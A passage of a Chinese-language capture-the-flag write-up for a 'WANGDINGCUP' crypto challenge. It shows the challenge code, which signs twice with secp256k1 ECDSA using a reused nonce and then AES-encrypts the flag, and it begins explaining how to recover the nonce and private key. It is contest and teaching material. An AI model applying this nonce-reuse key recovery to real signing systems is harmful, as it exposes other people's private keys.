<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>Padding <span class="token keyword">import</span> pad</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> long_to_bytes</span>
<span class="line"><span class="token keyword">from</span> FLAG <span class="token keyword">import</span> flag</span>
<span class="line"><span class="token comment">#flag = 'wdflag{123}'</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">victory_encrypt</span><span class="token punctuation">(</span>plaintext<span class="token punctuation">,</span> key<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    key <span class="token operator">=</span> key<span class="token punctuation">.</span>upper<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    key_length <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span></span>
<span class="line">    plaintext <span class="token operator">=</span> plaintext<span class="token punctuation">.</span>upper<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    ciphertext <span class="token operator">=</span> <span class="token string">''</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">for</span> i<span class="token punctuation">,</span> char <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>plaintext<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> char<span class="token punctuation">.</span>isalpha<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">            shift <span class="token operator">=</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>key<span class="token punctuation">[</span>i <span class="token operator">%</span> key_length<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span></span>
<span class="line">            encrypted_char <span class="token operator">=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>char<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span> <span class="token operator">+</span> shift<span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">26</span> <span class="token operator">+</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">            ciphertext <span class="token operator">+=</span> encrypted_char</span>
<span class="line">        <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">            ciphertext <span class="token operator">+=</span> char</span>
<span class="line"></span>
<span class="line">    <span class="token keyword">return</span> ciphertext</span>
<span class="line"></span>
<span class="line">victory_key <span class="token operator">=</span> <span class="token string">"WANGDINGCUP"</span></span>
<span class="line">victory_encrypted_flag <span class="token operator">=</span> victory_encrypt<span class="token punctuation">(</span>flag<span class="token punctuation">,</span> victory_key<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">p <span class="token operator">=</span> <span class="token number">0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f</span></span>
<span class="line">a <span class="token operator">=</span> <span class="token number">0</span></span>
<span class="line">b <span class="token operator">=</span> <span class="token number">7</span></span>
<span class="line">xG <span class="token operator">=</span> <span class="token number">0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798</span></span>
<span class="line">yG <span class="token operator">=</span> <span class="token number">0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8</span></span>
<span class="line">G <span class="token operator">=</span> <span class="token punctuation">(</span>xG<span class="token punctuation">,</span> yG<span class="token punctuation">)</span></span>
<span class="line">n <span class="token operator">=</span> <span class="token number">0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141</span></span>
<span class="line">h <span class="token operator">=</span> <span class="token number">1</span></span>
<span class="line">zero <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">dA <span class="token operator">=</span> nextprime<span class="token punctuation">(</span>random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">if</span> dA <span class="token operator">&gt;</span> n<span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"warning!!"</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">addition</span><span class="token punctuation">(</span>t1<span class="token punctuation">,</span> t2<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">if</span> t1 <span class="token operator">==</span> zero<span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">return</span> t2</span>
<span class="line">    <span class="token keyword">if</span> t2 <span class="token operator">==</span> zero<span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">return</span> t2</span>
<span class="line">    <span class="token punctuation">(</span>m1<span class="token punctuation">,</span> n1<span class="token punctuation">)</span> <span class="token operator">=</span> t1</span>
<span class="line">    <span class="token punctuation">(</span>m2<span class="token punctuation">,</span> n2<span class="token punctuation">)</span> <span class="token operator">=</span> t2</span>
<span class="line">    <span class="token keyword">if</span> m1 <span class="token operator">==</span> m2<span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> n1 <span class="token operator">==</span> <span class="token number">0</span> <span class="token keyword">or</span> n1 <span class="token operator">!=</span> n2<span class="token punctuation">:</span></span>
<span class="line">            <span class="token keyword">return</span> zero</span>
<span class="line">        <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">            k <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">3</span> <span class="token operator">*</span> m1 <span class="token operator">*</span> m1 <span class="token operator">+</span> a<span class="token punctuation">)</span> <span class="token operator">%</span> p <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span><span class="token number">2</span> <span class="token operator">*</span> n1 <span class="token punctuation">,</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">        k <span class="token operator">=</span> <span class="token punctuation">(</span>n2 <span class="token operator">-</span> n1 <span class="token operator">+</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span><span class="token punctuation">(</span>m2 <span class="token operator">-</span> m1 <span class="token operator">+</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p<span class="token punctuation">,</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    m3 <span class="token operator">=</span> <span class="token punctuation">(</span>k <span class="token operator">*</span> k <span class="token operator">%</span> p <span class="token operator">-</span> m1 <span class="token operator">-</span> m2 <span class="token operator">+</span> p <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    n3 <span class="token operator">=</span> <span class="token punctuation">(</span>k <span class="token operator">*</span> <span class="token punctuation">(</span>m1 <span class="token operator">-</span> m3<span class="token punctuation">)</span> <span class="token operator">%</span> p <span class="token operator">-</span> n1 <span class="token operator">+</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token builtin">int</span><span class="token punctuation">(</span>m3<span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token builtin">int</span><span class="token punctuation">(</span>n3<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">multiplication</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> k<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    ans <span class="token operator">=</span> zero</span>
<span class="line">    t <span class="token operator">=</span> <span class="token number">1</span></span>
<span class="line">    <span class="token keyword">while</span><span class="token punctuation">(</span>t <span class="token operator">&lt;=</span> k<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span>k <span class="token operator">&amp;</span>t <span class="token punctuation">)</span><span class="token operator">&gt;</span><span class="token number">0</span><span class="token punctuation">:</span></span>
<span class="line">            ans <span class="token operator">=</span> addition<span class="token punctuation">(</span>ans<span class="token punctuation">,</span> x<span class="token punctuation">)</span></span>
<span class="line">        x <span class="token operator">=</span> addition<span class="token punctuation">(</span>x<span class="token punctuation">,</span> x<span class="token punctuation">)</span></span>
<span class="line">        t <span class="token operator">&lt;&lt;</span><span class="token operator">=</span> <span class="token number">1</span></span>
<span class="line">    <span class="token keyword">return</span> ans</span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">getrs</span><span class="token punctuation">(</span>z<span class="token punctuation">,</span> k<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token punctuation">(</span>xp<span class="token punctuation">,</span> yp<span class="token punctuation">)</span> <span class="token operator">=</span> P</span>
<span class="line">    r <span class="token operator">=</span> xp</span>
<span class="line">    s <span class="token operator">=</span> <span class="token punctuation">(</span>z <span class="token operator">+</span> r <span class="token operator">*</span> dA <span class="token operator">%</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>k<span class="token punctuation">,</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n</span>
<span class="line">    <span class="token keyword">return</span> r<span class="token punctuation">,</span>s</span>
<span class="line"></span>
<span class="line">z1 <span class="token operator">=</span> random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> p<span class="token punctuation">)</span></span>
<span class="line">z2 <span class="token operator">=</span> random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> p<span class="token punctuation">)</span></span>
<span class="line">k <span class="token operator">=</span> random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line">P <span class="token operator">=</span> multiplication<span class="token punctuation">(</span>G<span class="token punctuation">,</span> k<span class="token punctuation">)</span></span>
<span class="line">hA <span class="token operator">=</span> multiplication<span class="token punctuation">(</span>G<span class="token punctuation">,</span> dA<span class="token punctuation">)</span></span>
<span class="line">r1<span class="token punctuation">,</span> s1 <span class="token operator">=</span> getrs<span class="token punctuation">(</span>z1<span class="token punctuation">,</span> k<span class="token punctuation">)</span></span>
<span class="line">r2<span class="token punctuation">,</span> s2 <span class="token operator">=</span> getrs<span class="token punctuation">(</span>z2<span class="token punctuation">,</span> k<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"r1 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>r1<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"r2 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>r2<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"s1 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>s1<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"s2 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>s2<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"z1 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>z1<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"z2 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>z2<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">key <span class="token operator">=</span> sha256<span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>dA<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">cipher <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">,</span> AES<span class="token punctuation">.</span>MODE_CBC<span class="token punctuation">)</span></span>
<span class="line">iv <span class="token operator">=</span> cipher<span class="token punctuation">.</span>iv</span>
<span class="line">encrypted_flag <span class="token operator">=</span> cipher<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>pad<span class="token punctuation">(</span>victory_encrypted_flag<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> AES<span class="token punctuation">.</span>block_size<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">encrypted_flag_hex <span class="token operator">=</span> binascii<span class="token punctuation">.</span>hexlify<span class="token punctuation">(</span>iv <span class="token operator">+</span> encrypted_flag<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Encrypted flag (AES in CBC mode, hex):"</span><span class="token punctuation">,</span> encrypted_flag_hex<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># output</span></span>
<span class="line"><span class="token comment"># r1 = 86806104739558095745988469033305523200538774705708894815836887970976487278764</span></span>
<span class="line"><span class="token comment"># r2 = 86806104739558095745988469033305523200538774705708894815836887970976487278764</span></span>
<span class="line"><span class="token comment"># s1 = 93400851884262731807098055393482657423555590196362184363643455285862566867372</span></span>
<span class="line"><span class="token comment"># s2 = 58741027521216057788923508334695668250013849866589902683641825341545919891746</span></span>
<span class="line"><span class="token comment"># z1 = 47591695289461307212638536234394543297527537576682980326526736956079807805586</span></span>
<span class="line"><span class="token comment"># z2 = 97911075901954715147720917205165523174582665086645698292621371632896283314804</span></span>
<span class="line"><span class="token comment"># ('Encrypted flag (AES in CBC mode, hex):', u'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85bc52f8056d3f21ef09516be8a5160f1b338a6b936')</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><h3>步骤一：安装缺失运行库</h3>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token comment"># 创建虚拟环境，防止污染本机环境</span></span>
<span class="line">python3 <span class="token parameter variable">-m</span> venv venv</span>
<span class="line"><span class="token builtin class-name">source</span> ./venv/bin/activate</span>
<span class="line"><span class="token comment"># pip安装运行库</span></span>
<span class="line">pip <span class="token function">install</span> gmpy2 sympy pycryptodome</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>步骤二：分析加密代码实现</h3>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">key <span class="token operator">=</span> sha256<span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>dA<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">cipher <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">,</span> AES<span class="token punctuation">.</span>MODE_CBC<span class="token punctuation">)</span></span>
<span class="line">iv <span class="token operator">=</span> cipher<span class="token punctuation">.</span>iv</span>
<span class="line">encrypted_flag <span class="token operator">=</span> cipher<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>pad<span class="token punctuation">(</span>victory_encrypted_flag<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> AES<span class="token punctuation">.</span>block_size<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">encrypted_flag_hex <span class="token operator">=</span> binascii<span class="token punctuation">.</span>hexlify<span class="token punctuation">(</span>iv <span class="token operator">+</span> encrypted_flag<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>题目提供给我们的是<code>encrypted_flag_hex</code>，我们要获取<code>flag</code>，需要先得到<code>encrypted_flag</code>.</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">encrypted_flag_hex <span class="token operator">=</span> <span class="token string">u'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85bc52f8056d3f21ef09516be8a5160f1b338a6b936'</span></span>
<span class="line">encrypted_flag_bytes <span class="token operator">=</span> binascii<span class="token punctuation">.</span>unhexlify<span class="token punctuation">(</span>encrypted_flag_hex<span class="token punctuation">)</span></span>
<span class="line">iv <span class="token operator">=</span> encrypted_flag_bytes<span class="token punctuation">[</span><span class="token punctuation">:</span>AES<span class="token punctuation">.</span>block_size<span class="token punctuation">]</span></span>
<span class="line">encrypted_flag <span class="token operator">=</span> encrypted_flag_bytes<span class="token punctuation">[</span>AES<span class="token punctuation">.</span>block_size<span class="token punctuation">:</span><span class="token punctuation">]</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>我们需要获得<code>victory_encrypted_flag</code>的值，也就需要：</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">key <span class="token operator">=</span> sha256<span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>dA<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">cipher <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">,</span> AES<span class="token punctuation">.</span>MODE_CBC<span class="token punctuation">,</span> iv<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">victory_encrypted_flag <span class="token operator">=</span> unpad<span class="token punctuation">(</span>cipher<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span>encrypted_flag<span class="token punctuation">)</span><span class="token punctuation">,</span> AES<span class="token punctuation">.</span>block_size<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>这里需要<code>dA</code>的值，而<code>dA</code>在这里定义:</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">dA <span class="token operator">=</span> nextprime<span class="token punctuation">(</span>random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>首先生成一个在 <code>0</code> 到 <code>n</code> 之间的随机整数，然后找到大于这个随机整数的下一个质数，并将其赋值给变量<code>dA</code>. 如果要求得<code>dA</code>，就要求得<code>k</code>的值。</p>
<h3>步骤三：计算得到<code>k</code>值</h3>
<p>先看看原函数如何包装 k 值：</p>
<p>首先，生成范围为<code>(0, n)</code>的随机整数<code>k</code>.</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">n <span class="token operator">=</span> <span class="token number">0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141</span></span>
<span class="line">k <span class="token operator">=</span> random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>然后生成范围为<code>(0, p)</code>的随机整数<code>z1</code>, <code>z2</code>.</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">p <span class="token operator">=</span> <span class="token number">0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f</span></span>
<span class="line">z1 <span class="token operator">=</span> random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> p<span class="token punctuation">)</span></span>
<span class="line">z2 <span class="token operator">=</span> random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> p<span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p><code>z1</code>, <code>z2</code>均已给出输出值。</p>
<p>然后将<code>k</code>, <code>z1</code>, <code>z2</code>分别传入<code>getrs()</code>函数。并输出<code>r1</code>, <code>s1</code>, <code>r2</code>, <code>s2</code>.</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">r1<span class="token punctuation">,</span> s1 <span class="token operator">=</span> getrs<span class="token punctuation">(</span>z1<span class="token punctuation">,</span> k<span class="token punctuation">)</span></span>
<span class="line">r2<span class="token punctuation">,</span> s2 <span class="token operator">=</span> getrs<span class="token punctuation">(</span>z2<span class="token punctuation">,</span> k<span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>现在已经明白了 k 是如何被一步步包装成六个变量的，可以根据代码逐步的逆向运算得到<code>k</code>值。</p>
<p>首先，<code>r1</code>, <code>s1</code>, <code>r2</code>, <code>s2</code>指向了一个<code>getrs()</code>函数，我们可以分析一下这个函数。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token keyword">def</span> <span class="token function">getrs</span><span class="token punctuation">(</span>z<span class="token punctuation">,</span> k<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token punctuation">(</span>xp<span class="token punctuation">,</span> yp<span class="token punctuation">)</span> <span class="token operator">=</span> P</span>
<span class="line">    r <span class="token operator">=</span> xp</span>
<span class="line">    s <span class="token operator">=</span> <span class="token punctuation">(</span>z <span class="token operator">+</span> r <span class="token operator">*</span> dA <span class="token operator">%</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>k<span class="token punctuation">,</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n</span>
<span class="line">    <span class="token keyword">return</span> r<span class="token punctuation">,</span>s</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>此函数的<code>(xp, yp) = P</code>指向了<code>P = multiplication(G, k)</code>.我们可以分析一下<code>multiplication()</code>函数。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token keyword">def</span> <span class="token function">multiplication</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> k<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    ans <span class="token operator">=</span> zero</span>
<span class="line">    t <span class="token operator">=</span> <span class="token number">1</span></span>
<span class="line">    <span class="token keyword">while</span><span class="token punctuation">(</span>t <span class="token operator">&lt;=</span> k<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span>k <span class="token operator">&amp;</span>t <span class="token punctuation">)</span><span class="token operator">&gt;</span><span class="token number">0</span><span class="token punctuation">:</span></span>
<span class="line">            ans <span class="token operator">=</span> addition<span class="token punctuation">(</span>ans<span class="token punctuation">,</span> x<span class="token punctuation">)</span></span>
<span class="line">        x <span class="token operator">=</span> addition<span class="token punctuation">(</span>x<span class="token punctuation">,</span> x<span class="token punctuation">)</span></span>
<span class="line">        t <span class="token operator">&lt;&lt;</span><span class="token operator">=</span> <span class="token number">1</span></span>
<span class="line">    <span class="token keyword">return</span> ans</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>这个函数的某些变量指向了<code>addition()</code>函数，我们继续看一下这段函数。</p>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">def</span> <span class="token function">addition</span><span class="token punctuation">(</span>t1<span class="token punctuation">,</span> t2<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">if</span> t1 <span class="token operator">==</span> zero<span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">return</span> t2</span>
<span class="line">    <span class="token keyword">if</span> t2 <span class="token operator">==</span> zero<span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">return</span> t2</span>
<span class="line">    <span class="token punctuation">(</span>m1<span class="token punctuation">,</span> n1<span class="token punctuation">)</span> <span class="token operator">=</span> t1</span>
<span class="line">    <span class="token punctuation">(</span>m2<span class="token punctuation">,</span> n2<span class="token punctuation">)</span> <span class="token operator">=</span> t2</span>
<span class="line">    <span class="token keyword">if</span> m1 <span class="token operator">==</span> m2<span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> n1 <span class="token operator">==</span> <span class="token number">0</span> <span class="token keyword">or</span> n1 <span class="token operator">!=</span> n2<span class="token punctuation">:</span></span>
<span class="line">            <span class="token keyword">return</span> zero</span>
<span class="line">        <span class="token keyword">else</span><span class="token punctuation">:</span></span>
